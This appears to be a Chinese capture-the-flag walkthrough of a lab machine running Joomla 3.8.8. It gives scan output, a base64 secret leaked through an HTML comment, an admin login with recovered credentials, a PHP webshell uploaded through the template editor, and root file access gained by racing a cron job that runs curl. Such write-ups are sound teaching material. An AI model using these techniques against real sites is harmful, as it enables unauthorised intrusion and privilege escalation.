1、nmap -v -sC 10.10.10.150
发现存在一个joomscan cms
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
2、尝试使用joomscan扫描,发现版本是3.8.8的
joomscan -u http://10.10.10.150/
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 3.8.8
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking Directory Listing
[++] directory has directory listing :
http://10.10.10.150/administrator/components
http://10.10.10.150/administrator/modules
http://10.10.10.150/administrator/templates
http://10.10.10.150/images/banners
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://10.10.10.150/administrator/
[+] Checking robots.txt existing
[++] robots.txt is not found
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report : reports/10.10.10.150/
查了一下joolma 3.8.8版本并没有什么能够getshell的漏洞
根据提示第一阶段:枚举。检查所有内容(包括页面源)并查找常见的文件扩展名。您登录所需的一切就在您的面前。一旦您登录,您可能需要先研究一下,然后才能弄清楚如何在系统上执行命令,但这非常非常简单。
我们先看标题Cewl ,这个查了一下是一个爬取单词的工具。好像并没发现什么
cewl -d 2 -m 5 http://10.10.10.150/
这里显示的是部分内容
curling
Curling
Uncategorised
first
Begin
Content
Right
Sidebar
Username
Password
Forgot
我们查看一下源代码body标签下方有个注释文件
<!-- secret.txt -->
访问一下secret.txt得到一串MD5加密字符串
Q3VybGluZzIwMTgh
解密:Curling2018!
我们可以看到页面上有一个Curling2018,下方有个作者Floris。
这里可能存在某种关联,尝试后台登陆
我们访问后台地址http://10.10.10.150/administrator/
输入用户名/密码
Floris/Curling2018!
寻找上传点,修改joomla的配置文件,后缀名允许上传php,发现还是上传不成功。
去社区看了一下讨论,存在一个RCE。不过这个我没找到。
在网上找到一个Templates 上传shell的方法。
在导航栏找到Extensions->Templates->Templates 打开
然后找到Beez3 Details and Files ,点开链接。点击New File
创建一个php文件
然后输入你要写入的php shell内容。
使用nc接收webshell。
然后打开链接http://10.10.10.150/templates/beez3/webshell.php
提示第二阶段(用户):如果文件的前几个字节看起来很熟悉,那是因为它们是。如果他们不是,谷歌他们。无论哪种方式,弄清楚如何将数据转换为其他东西,然后重复。最终你会得到一个明文或其他的明文,你知道如何处理。
我们打开/home/floris 发现user.txt,但是并没有权限查看
根据上面的提示我们查看/home/floris/里面可以查看的文件。
cat password_backup
查看前面的文件头425a68是一个压缩文件头
可以使用Bzip2算法的 压缩文件
把该文件放到kali下使用bzip命令,然后直接打开压缩包有个password.txt文件,有一个账号密码
bzip2 -d password_backup.tar.bz2
ssh账号密码:
flort/5d<wdCbdZu)|hChXll
cat user.txt
尝试看一下进程变化,使用ps命令然后间隔几分钟分别输出a.txt、b.txt。最后使用diff a.txt b.txt比较
ps -ef > a.txt
ps -ef > b.txt
diff a.txt b.txt
这里是比较出来的部分内容,看到cron,是个定时任务的命令
再看看cat /root/default.txt> 最后输出到input
> root 1954 1062 0 07:10 ? 00:00:00 /usr/sbin/CRON -f
> root 1957 1954 0 07:10 ? 00:00:00 /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
> root 1959 1957 0 07:10 ? 00:00:00 sleep 1
我们可以cat /home/floris/admin-area/input 。发现没啥信息。那应该就是修改cron里面的任务计划,去cat /root/root.txt。然后再查看admin-area/input文件了
但是发现这里并不是这样去完成的,我们换个思路,监听新进程,然后看cron执行了什么操作,然后再分析一波。
通过不断的去查看新的进程,输出出来,就能找到定时任务执行的命令了。
while true; do ps -ef | grep sh | grep -v sshd |grep root;done;
分析了一下定时任务通过curl -K 读取文件,把获取到的内容写入report
我们在1.txt写入内容
url = "file:///root/root.txt"
然后通过cp不断的去竞争input,写入file:///root/root.txt。
然后curl 就会读取到root.txt写入report了
while true; do cp -p /tmp/1.txt /home/floris/admin-area/input;done;
最后cat写入的文件就拿到flag啦
cat report
最后致谢一下金师傅给的提示!
参考
https://fly8wo.github.io/2018/10/21/Joomla%E6%B8%97%E9%80%8F-%E6%9D%83%E9%99%90%E8%8E%B7%E5%8F%96%E4%B8%8E%E7%BB%B4%E6%8C%81/